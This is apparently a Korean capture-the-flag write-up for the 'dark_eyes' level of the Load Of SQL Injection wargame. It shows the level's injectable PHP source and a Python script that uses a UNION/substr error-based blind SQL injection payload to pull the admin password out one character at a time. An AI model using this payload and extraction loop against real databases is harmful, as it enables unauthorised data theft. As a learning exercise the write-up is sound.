WebHacking/Load Of Sql Injection
LOS dark_eyes
HSr00t
2018. 2. 18. 02:58
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(mysql_error()) exit(); echo "<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes"); highlight_file(__FILE__); ?> | cs |
아까와 같은 error blind sql injection문제다.
이 문제에서는 union함수 특징을 이용하여서 문제를 풀수있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | import urllib2 j = 1 input_ = 33 #0 passwd = '' while(True): url = 'https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=\' or id=\'admin\' and (select 1 union select substr(pw,%d,1)=0x%x)' %(j,input_) url += '%23' req = urllib2.Request(url) req.add_header('User-Agent','Mozilla/5.0') req.add_header('cookie','PHPSESSID=cou72qt1ouduhumnfslep8oaa2') data = urllib2.urlopen(req).read() if 'include' in data: passwd += chr(input_) j += 1 print 'Search Key is '+passwd print 'Search hex Key is %d'%(input_) if len(passwd) == 8: break input_= 33 else: input_+=0x1 print 'Key is '+passwd | cs |
union함수는 중첩되는 값이 있으면 그 중 맨 첫번째 값만 출력시키는 특징을 가지고있다.
select 1에다가 substr이 조건에 true라면 1을반환하고 select 1 union select 1과 같은 쿼리문이 만들어지는데 union으로인해 1한개만 출력이된다)
false라면 1,0이 출력이 된다.